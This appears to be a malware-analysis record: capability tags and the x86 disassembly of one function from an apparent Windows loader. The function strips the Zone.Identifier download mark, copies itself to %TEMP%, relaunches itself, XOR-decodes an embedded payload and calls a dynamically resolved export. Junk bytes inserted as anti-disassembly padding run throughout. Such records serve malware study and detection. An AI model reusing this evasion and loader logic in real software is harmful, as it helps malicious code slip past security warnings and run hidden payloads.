Function at 0x401340
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
mov eax, 0x100d0
call fcn.0040ada0
movzx eax, byte [0x40e020]
test al, al
jne 0x40138f
int 0xfc
jecxz 0x4013b5
add esp, dword [esi + 0x45]
cli
lodsb al, byte [esi]
retf 0x139f
nop
call sub.KERNEL32.dll_GetCommandLineW
lea edx, [ebp - 0x38]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.SHELL32.DLL_CommandLineToArgvW
sub esp, 8
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
movzx eax, byte [0x40e020]
test al, al
jne 0x4013d9
add byte [eax], al
add byte [edi], cl
mov dh, 5
and al, ah
inc eax
add byte [eax + eax*8 - 0x30ece98b], al
adc ecx, edi
jmp 0x58fd9eba
nop
mov eax, dword [ebp - 0x38]
cmp eax, 2
je 0x401b0c
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscpy
movzx eax, byte [0x40e020]
test al, al
jne 0x401458
repne scasb al, byte es:[edi]
popfd
mov bh, 0x1f
invalid
nop
mov dword [esp + 4], str.:Zone.Identifier:_DATA
lea eax, [ebp - 0x6094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscat
movzx eax, byte [0x40e020]
test al, al
jne 0x40148a
adc dword [edi], ebx
mov edx, 0xb92133b8
hlt
nop
lea eax, [ebp - 0x6094]
mov dword [esp], eax
call sub.msvcrt.dll__wunlink
movzx eax, byte [0x40e020]
test al, al
jne 0x4014e6
insb byte es:[edi], dx
lahf
invalid
mov ah, 0x3a
in eax, 0x84
jp 0x40148d
cmpsb byte [esi], byte es:[edi]
sahf
inc esp
outsb dx, byte [si]
out 0x9c, al
jo 0x4014ae
scasb al, byte es:[edi]
invalid
nop
mov dword [esp + 4], str.__
lea eax, [ebp - 0x6094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscpy
movzx eax, byte [0x40e020]
test al, al
jne 0x401545
lock and byte es:[edi], ch
inc edx
sub dword [ebx + edi*8 - 0x60], edi
mov al, 0x50
mov bh, bl
push esp
add dl, al
mov esi, 0x2c487b3a
shl byte [edi], cl
xlatb
loopne 0x401506
hlt
nop
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscat
movzx eax, byte [0x40e020]
test al, al
jne 0x4015a0
xor byte ss:[edi], al
pop edi
test eax, 0xf44bca3f
xor byte [esi - 0x62a619a7], cl
int1
and al, 0xa3
mov ecx, 0x5bca2429
ja 0x401582
arpl word [ebx + 0x1b82601d], bp
xchg esi, eax
stosd dword es:[edi], eax
sbb eax, 0x961b8260
mov bl, 0x23
cmc
pop esp
bound edi, qword [edi + 0x36ef56a8]
scasd eax, dword es:[edi]
salc
invalid
nop
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
lea edx, [ebp - 0x1094]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x894]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll__wsplitpath
movzx eax, byte [0x40e020]
test al, al
jne 0x401612
dec esp
wait
imul edi, ebx, 0x6b9284b8
cmpsd dword [esi], dword es:[edi]
xchg eax, ecx
or al, byte [edi + 0x70]
pushal
cmpsb byte ss:[esi], byte es:[edi]
adc byte [esi + 0x4ce8d35c], cl
push esp
les ebx, [edi - 0x62]
cld
ljmp 0xd992
nop
mov dword [esp + 4], str.__
lea eax, [ebp - 0xb094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscpy
movzx eax, byte [0x40e020]
test al, al
jne 0x401651
push esi
or dword [edi], edi
mov byte [0xfc02045d], al
add ah, ch
out 0x97, al
or eax, 0x12e6293a
dec esi
sub dl, byte [ecx - 0x12e4c806]
mov bl, 5
push ss
jmp 0x401652
nop
mov dword [esp], str.TEMP
call sub.msvcrt.dll__wgetenv
mov dword [esp + 4], eax
lea eax, [ebp - 0xb094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscat
add byte [eax], al
movzx eax, byte [0x40e020]
test al, al
jne 0x40168b
dec dword [ebp + ebp + 0x55]
push esi
insd dword es:[edi], dx
clc
mov bl, 0x71
cli
scasd eax, dword es:[edi]
jno 0x40166e
xchg esi, eax
jmp 0x40168c
nop
mov dword [esp + 4], 0x41b742
lea eax, [ebp - 0xb094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscat
movzx eax, byte [0x40e020]
test al, al
jne 0x401701
sal byte [ecx], 1
invalid
nop
lea eax, [ebp - 0x894]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscat
movzx eax, byte [0x40e020]
test al, al
jne 0x401749
jno 0x40177a
mov bh, 0x11
out 0x4c, eax
cmp al, 0xfa
sbb eax, 0xdcc29145
popal
add al, 0x91
je 0x401731
ret 0xf2dc
cld
pushal
test al, 0xc8
movsb byte es:[edi], byte [esi]
xlatb
xchg byte [eax], cl
ja 0x401761
lodsb al, byte [esi]
call 0x22b7aba
nop
lea eax, [ebp - 0x1094]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb094]
mov dword [esp], eax
call sub.msvcrt.dll_wcscat
movzx eax, byte [0x40e020]
test al, al
jne 0x401789
add byte [edi], cl
mov dh, 5
and al, ah
inc eax
add byte [eax + eax*8 - 0x50a6e38b], al
pop ecx
scasd eax, dword es:[edi]
in eax, dx
xchg ebp, eax
stosb byte es:[edi], al
or bl, bl
cmp ecx, ebp
mov bh, 0x2d
mov ebx, 0xbab3a2be
add ebx, dword [ebx - 0x7e]
cmpsd dword [esi], dword es:[edi]
xor cl, byte [eax]
scasd eax, dword es:[edi]
stosb byte es:[edi], al
daa
mov esi, 0x3bab3a2
pop ebx
and byte [edi - 0x5550f7ce], 0x27
jmp 0x40178a
nop
mov dword [esp + 8], 0
lea eax, [ebp - 0xb094]
mov dword [esp + 4], eax
lea eax, [ebp - 0x6094]
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileW
sub esp, 0xc
movzx eax, byte [0x40e020]
test al, al
jne 0x401819
xchg edx, eax
cwde
mov esi, 0x796df18c
xchg dword [edi], edx
test byte [edx + 0x52], ah
push ecx
sbb dword [edi + 0x7f], edi
aam 0x3d
and al, byte [edi + 0x7ae325f8]
int3
pop esp
stc
or esi, esp
pop ss
inc ebx
xor bh, bl
push esp
retf
nop
mov eax, 0x40e040
add eax, 0x10
mov edx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movzx eax, byte [0x40e020]
test al, al
jne 0x401858
inc ebp
sub byte [esi - 0x3aa2dde9], bl
cmp byte [eax + 0x289d85a0], cl
fcmovnu st(0), st(3)
jle 0x40180c
cmp al, bh
and byte [ebx], dh
rol byte [esi], 1
dec ebx
adc al, 0x36
sub ch, byte [eax + 2]
adc al, 0xeb
add dword [eax - 0x743fba75], edx
push ebp
les ecx, [ecx - 0x76f7dbbc]
push esp
and al, 0xc
nop
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], str._I64d
lea eax, [ebp - 0x10094]
mov dword [esp], eax
call sub.USER32.dll_wsprintfW
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
lea eax, [ebp - 0xb094]
mov dword [esp + 8], eax
mov dword [esp + 4], str.__s___I64d
lea eax, [ebp - 0x10094]
mov dword [esp], eax
call sub.USER32.dll_wsprintfW
movzx eax, byte [0x40e020]
test al, al
jne 0x40190c
inc edi
cmp eax, 0x5c5f5fff
and al, 0x97
in al, 0xc5
sbb al, 0x82
in eax, dx
clc
pop ebp
imul edi, dword [ebx - 0x3424cd69], 3
loop 0x4018e4
pop ss
sbb byte [eax + 0x7f], al
sbb dl, byte [ebp - 0x21]
bound edx, qword [edx + 0x3bf1c1de]
in eax, 0x88
pop ds
stosb byte es:[edi], al
movsd dword es:[edi], dword [esi]
mov eax, dword [0x2ff9d97]
pop eax
xchg esi, eax
add bl, byte [eax - 0x6a]
xor eax, 0x16386134
ja 0x40193d
mov eax, 0xad0d49ce
stosd dword es:[edi], eax
lahf
mov word [eax + edx*4 - 0x39], gs
push ecx
sbb dh, ah
cld
mov ebp, 0x875a9388
xchg esi, eax
mov bl, 0x1d
retf
nop
movzx eax, byte [0x40e020]
test al, al
jne 0x401969
not byte [edx + 0x2b]
scasb al, byte es:[edi]
and byte [ebx + edi*4 - 0x33], dh
pop ds
pop edx
pop ecx
mov ebp, edx
and ch, bl
add eax, dword [edi]
fld st(0)
invalid
adc edx, dword [eax]
jno 0x4019ae
imul edi, ebp, 0x5bda8a58
xchg ecx, eax
mov bl, 0x1b
and byte [edi], bl
and al, byte ss:[ecx + ebp*2]
out dx, eax
mov ecx, 0xc56bc01c
loop 0x4019a2
sbb al, 0x25
wait
das
xor eax, 0x99e9d0c
cmc
sub bl, ah
push eax
mov ecx, 0xc79001eb
inc esp
and al, 8
inc esp
add byte [eax], al
add bh, al
inc esp
and al, 4
add byte [eax], al
add byte [eax], al
nop
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x94]
mov dword [esp], eax
call sub.msvcrt.dll_memset
movzx eax, byte [0x40e020]
test al, al
jne 0x4019d7
imul ebx, ecx, 0xffffffb6
mov byte [0x79a6d80f], al
invalid
adc al, 0x76
invalid
test eax, 0xf33f4488
push ds
cmc
xchg ebp, eax
sub eax, 0x95a63ccd
xchg ebp, eax
pushfd
cmp ebx, dword [edi]
xchg ebp, eax
xchg byte [esp + ecx + 0x15], bh
sub esi, dword [edx + 0x3cf5e7d9]
lodsd eax, dword [esi]
sub eax, 0xbb556c7
xchg ebp, eax
test al, 0x29
mov edi, dword [esi]
jmp 0x4019d8
nop
movzx eax, byte [0x40e020]
test al, al
jne 0x4019fe
pop eax
jp 0x4019e3
in eax, dx
push ss
cmp dword [edx], ecx
jge 0x4019ba
nop
stc
fisub dword [esi + 0xc7f8c25]
cmp dword [ebx + 0xf82aeb9], 0x1eb8e63
nop
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x50]
mov dword [esp], eax
call sub.msvcrt.dll_memset
movzx eax, byte [0x40e020]
test al, al
jne 0x401a6e
or al, 0xb7
xor byte [edx + 0xe], cl
mov ah, al
or al, 0x76
fiadd dword [ebp - 0x80]
push edi
adc edx, dword [eax]
push ecx
out dx, al
mov dh, 0x76
jp 0x401a70
cmp ah, 0xf1
cmp al, 0xaa
je 0x401a8c
push cs
add dh, al
sbb bh, byte [ecx - 0x56379be0]
sub ah, dl
pop ds
add bl, byte [ecx]
lahf
pop ecx
sub al, 0xaf
stosb byte es:[edi], al
sbb ah, byte [esi + 0x20]
xchg ebp, eax
pushfd
mov dword [0x3bdf8d91], eax
add dword [edx], ebp
dec ecx
add ebx, dword [ebx]
arpl word [ebp - 0x1b7a38c5], di
out dx, eax
pop ecx
add ebp, ebx
add dword [eax - 0x764fba73], edx
nop
lea eax, [ebp - 0x50]
mov dword [esp + 0x24], eax
inc ebp
mov al, 0x89
inc esp
and al, 0x24
lea eax, [ebp - 0x94]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
add byte [eax], al
add byte [eax], al
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
add byte [eax], al
add byte [eax], al
lea eax, [ebp - 0x10094]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb094]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateProcessW
sub esp, 0x28
test eax, eax
movzx eax, byte [0x40e020]
test al, al
jne 0x401b01
jb 0x401a7c
dec ebx
sahf
push edx
cmc
mov ecx, 0x544e16b8
mov ecx, 0x1a98e1df
jecxz 0x401aac
out 0xdd, al
invalid
nop
mov eax, 0
jmp 0x4022dc
mov eax, dword [ebp - 0x34]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll__wtoi64
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movzx eax, byte [0x40e020]
test al, al
jne 0x401b5f
cdq
add dword [edi + 0x78], edi
jecxz 0x401b4a
xchg edx, eax
invalid
adc eax, 0xed17636d
invalid
nop
mov eax, 0x40e040
add eax, 0x18
mov edx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
movzx eax, byte [0x40e020]
test al, al
jne 0x401bd7
cmp ebp, dword [edi]
add esi, dword [esi + 0x1c]
jbe 0x401bef
pushfd
ficom word [esi]
or edx, 0x4a56e0a
jae 0x401ba2
les edx, [ecx + 0x78]
xor edi, esp
lcall 0x4582, 0x220a4eed
push ecx
xchg byte [ebx + 0xa28fc6e], bh
fidivr dword [eax + esi*2]
int 0xbe
cmp bl, al
sub al, 0xe0
fcomp qword [edi + 0x6bf1a1f3]
rcr al, cl
push es
mov edi, 0xa9e21026
push ebp
xor ebp, dword [edi]
adc byte [ecx + 0x5ab392b], ah
jne 0x401be0
sal byte [ebx], cl
push esi
stosb byte es:[edi], al
pushal
xchg edi, edi
sub ch, byte [eax]
invalid
nop
mov eax, dword [ebp - 0x30]
shl eax, 3
mov dword [esp], eax
call fcn.0040c510
mov dword [ebp - 0x2c], eax
movzx eax, byte [0x40e020]
test al, al
jne 0x401c45
and al, 0xe8
sub ch, byte [ecx + 0x45890000]
aam 0xf
mov dh, 5
and al, ah
inc eax
add byte [eax + eax*8 - 0x6764ae8b], al
wait
cwde
add bh, cl
invalid
nop
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
jmp 0x401dbf
movzx eax, byte [0x40e020]
test al, al
jne 0x401cb7
mov edi, 0x208f45f
mov dh, 0xd5
ret
clc
salc
retf 0xc9a9
nop
cmp dword [ebp - 0x10], 2
jne 0x401cc1
shl dword [ebp - 0x10], 1
movzx eax, byte [0x40e020]
test al, al
jne 0x401d05
mov edx, 0x38e4273f
std
scasb al, byte es:[edi]
loope 0x401c9c
invalid
nop
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x14]
shl edx, 3
lea ecx, [eax + edx]
mov eax, 0x40e040
mov edx, dword [ebp - 0x10]
shl edx, 3
add eax, edx
mov ebx, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x100a0], ebx
mov dword [ebp - 0x1009c], esi
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x100a0]
xor ebx, eax
mov esi, dword [ebp - 0x1009c]
xor esi, edx
mov dword [ecx], ebx
mov dword [ecx + 4], esi
movzx eax, byte [0x40e020]
test al, al
jne 0x401d7f
add al, 0xd4
mov byte [0xa54288a2], al
cmc
and esi, ecx
inc edi
cmp ebp, esi
inc edi
xor edx, esp
aad 0x24
mov dl, 0xdc
mov eax, dword [0xdb8803d7]
cmp ah, al
mov ebp, 0xfd50cdf8
mov byte [0x342a9ff2], al
inc esp
pop ds
jmp 0x401d80
nop
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.0040b510
movzx eax, byte [0x40e020]
test al, al
jne 0x401db6
adc esp, dword [esi - 0x71]
or byte [ebp - 0x1b7c1540], ch
pushfd
pop edi
xchg byte [ebx + 0x62], dh
push cs
dec esi
wait
ror byte [ebx], cl
xchg ebx, eax
mov al, byte [0x4e42905c]
xor byte [ebx + eax*4 + 0x74], ch
mov ebp, ebx
add dword [eax + 0x1ec4583], edx
nop
add dword [ebp - 0x14], 1
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x30]
setl al
test al, al
jne 0x401c59
movzx eax, byte [0x40e020]
test al, al
jne 0x401df6
xchg edx, esi
push 0x79289f8f
and cl, byte [0x88938115]
in al, 0xa1
xlatb
jg 0x401e60
loop 0x401e01
adc edi, dword [esi]
mov dword [0x1eb8d55], eax
nop
movzx eax, byte [0x40e020]
test al, al
jne 0x401e4f
dec ebp
rcl dword [eax], 0x47
dec ebp
jmp 0x5e915dda
nop
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.00403d06
mov dword [ebp - 0x24], eax
movzx eax, byte [0x40e020]
add eax, 0x40e020
loopne 0x401ea4
add byte [eax + eax*8 - 0x30ebb48b], al
test al, al
jne 0x401eb4
adc al, 0xcf
stosb byte es:[edi], al
xor bh, byte [ebx + eax*8 - 0x62]
invalid
xlatb
mov byte [0x77bb7768], al
push ds
inc eax
push cs
adc cl, bl
jne 0x401e56
movsd dword es:[edi], dword [esi]
pop ecx
or ecx, dword [esi]
dec ebx
je 0x401e62
xlatb
jmp 0x401eb5
nop
cmp dword [ebp - 0x24], 0
jne 0x401ec5
mov eax, 0
jmp 0x4022dc
movzx eax, byte [0x40e020]
test al, al
jne 0x401ee7
xchg ebp, eax
and bl, byte [0x3ff4c0c0]
stc
adc edx, dword [edi]
wait
jl 0x401e6b
push esi
rep lodsb al, byte [esi]
xchg edi, eax
add dword [eax + esi*2 - 0x6ffe1489], edi
nop
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call fcn.00404cd3
mov dword [ebp - 0x28], eax
movzx eax, byte [0x40e020]
test al, al
jne 0x401f45
add byte [eax], al
add byte [ebx + 0x489dc45], cl
and al, 0xe8
fsubr dword [0x45890000]
fmul dword [edi]
mov dh, 5
and al, ah
inc eax
add byte [eax + eax*8 - 0x2feac38b], al
jae 0x401f31
adc eax, 0x1b2473d0
out 0xd5, eax
push edi
sbb esp, edi
aad 0xf3
push edi
push 0x15
je 0x401f40
aad 0x68
push 0xffffffffffffffce
jl 0x401e9d
imul edi, eax, 0xbcebc00f
push edi
in al, dx
js 0x401eed
arpl cx, sp
fnsave dword [ebx]
push esp
add dword [edi + 0x3c], ecx
salc
inc edx
xchg ebx, eax
inc eax
push edi
pop es
imul ebp, dword [0xebfbd56f], 0x56
jecxz 0x401fa3
and eax, 0xbb7c21ce
jmp 0x401f46
and dword [ebx + edi*4 - 0x15], edi
add dword [eax + 0x2005b60f], edx
loopne 0x401f8c
nop
movzx eax, byte [0x40e020]
test al, al
jne 0x401fb3
add byte [eax + eax*8 + 0x1e436275], al
inc ebx
push ds
jnp 0x401f75
push edx
iretd
cmp esi, ebp
jg 0x401fbe
out 0x62, al
jecxz 0x401f9b
pushfd
mov ecx, eax
add al, 0x9e
cmp dword [edi - 0x62], esp
pop es
das
cmp byte [edx], 0x1c
xor eax, 0x7ea2858f
xor dword [esi], ebp
call 0xed622c94
test dword [edx - 0x17d1ce82], esp
mov byte [0xe82e317e], al
dec byte [edx]
in eax, dx
mov esp, dword [edi - 0x2d]
in eax, dx
dec edx
int1
mov dl, bl
mov dl, 0x8e
jno 0x401f8d
cmc
adc dl, dh
and al, 0x92
sub al, 0x40
invalid
nop
movzx eax, byte [0x41b780]
mov byte [ebp - 0x1d], al
movzx eax, byte [0x40e020]
test al, al
jne 0x402000
movsd dword es:[edi], dword [esi]
inc ebp
loop 0x401ffd
lodsb al, byte [esi]
mov ch, 0x1e
mul byte [esi + 0x3658caa8]
cmp eax, dword [ebx + 0x2b]
dec ebx
xor eax, 0x8f61de4f
movsd dword es:[edi], dword [esi]
sbb eax, 0x4a580f54
test al, 0x7b
aas
dec ebp
shl byte [ecx], 0x7d
insb byte es:[edi], dx
salc
wait
bound edi, qword [ebx + eax*2 + 0x2c]
aam 0x79
push 0x4cb3a417
xchg ecx, eax
scasb al, byte es:[edi]
sub bl, 1
nop
movzx eax, byte [0x41b781]
movsx eax, al
mov dword [ebp - 0x1c], eax
movzx eax, byte [0x40e020]
test al, al
jne 0x402062
retf
nop
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [esp], eax
call fcn.0040c510
mov dword [ebp - 0x18], eax
movzx eax, byte [0x40e020]
test al, al
jne 0x4020be
mov al, byte [0x3afffb7e]
lcall 0x4cf2, 0xf928d32
lodsd eax, dword [esi]
or eax, 0xb1d2597b
rol dl, 0x24
scasb al, byte es:[edi]
mov ch, 0x1b
inc esi
int3
nop
mov dword [ebp - 0xc], 0
jmp 0x402158
movzx eax, byte [0x40e020]
test al, al
jne 0x402106
retf
nop
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
add edx, eax
mov eax, dword [ebp - 0xc]
add eax, 2
movzx ecx, byte [eax + 0x41b780]
movzx eax, byte [ebp - 0x1d]
xor eax, ecx
mov byte [edx], al
movzx eax, byte [0x40e020]
test al, al
jne 0x402153
and al, ah
inc eax
add byte [eax + eax*8 - 0x98ddb8b], al
jb 0x402127
push ss
push ebp
sub dword [ecx], edx
in eax, dx
packssdw mm0, mm5
cmp cl, dl
dec edi
cmp eax, 0xd2caa49c
sbb dword [0x732790ad], esp
invalid
nop
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
setb al
test al, al
jne 0x4020cb
movzx eax, byte [0x40e020]
test al, al
jne 0x4021d7
dec ebp
sbb edx, dword [eax]
cmp ch, byte [ebx]
jnp 0x40217a
jmp dword [ebx + 0x4c]
arpl word [esi + ecx*2 - 0x5f], cx
call 0xbfb8d76
xchg ecx, eax
push 0x79dbb89b
lodsb al, byte [esi]
neg dword [ecx + ebx*8 - 0x16]
mov dl, 0xfc
hlt
lodsd eax, dword [esi]
test dword [edx], edi
inc byte [ebp + edi - 0x43]
xchg ebx, ebp
add dword [eax - 0x741bba75], edx
push ebp
call 0xc642266f
add byte [eax], al
nop
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
lea eax, [edx + eax]
mov byte [eax], 0
movzx eax, byte [0x40e020]
test al, al
jne 0x40221e
dec esp
pop eax
inc esp
jecxz 0x402269
inc ecx
cmp edx, dword ds:[edi]
imul edi, dword [esi], 0x6435fe2f
js 0x4021cd
lodsd eax, dword [esi]
xor bl, ah
cmc
fbld tbyte [ecx + 0x2f]
frstor dword [esi - 0x17d26593]
invalid
nop
cmp dword [ebp - 0x28], 0
je 0x402238
mov dword [esp + 4], str.17704556
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x28]
call eax
movzx eax, byte [0x40e020]
test al, al
jne 0x402259
xor byte [ebx + 0x2e], bh
invalid
nop
cmp dword [ebp - 0x18], 0
je 0x40226b
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call fcn.0040c4e0
add byte [eax], al
movzx eax, byte [0x40e020]
test al, al
jne 0x4022c5
dec esp
retf 0x3cb1
nop
cmp dword [ebp - 0x24], 0
je 0x4022d7
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call int.00405307
mov eax, 0
lea esp, [ebp - 8]
add esp, 0
pop ebx
pop esi
pop ebp
ret 0x10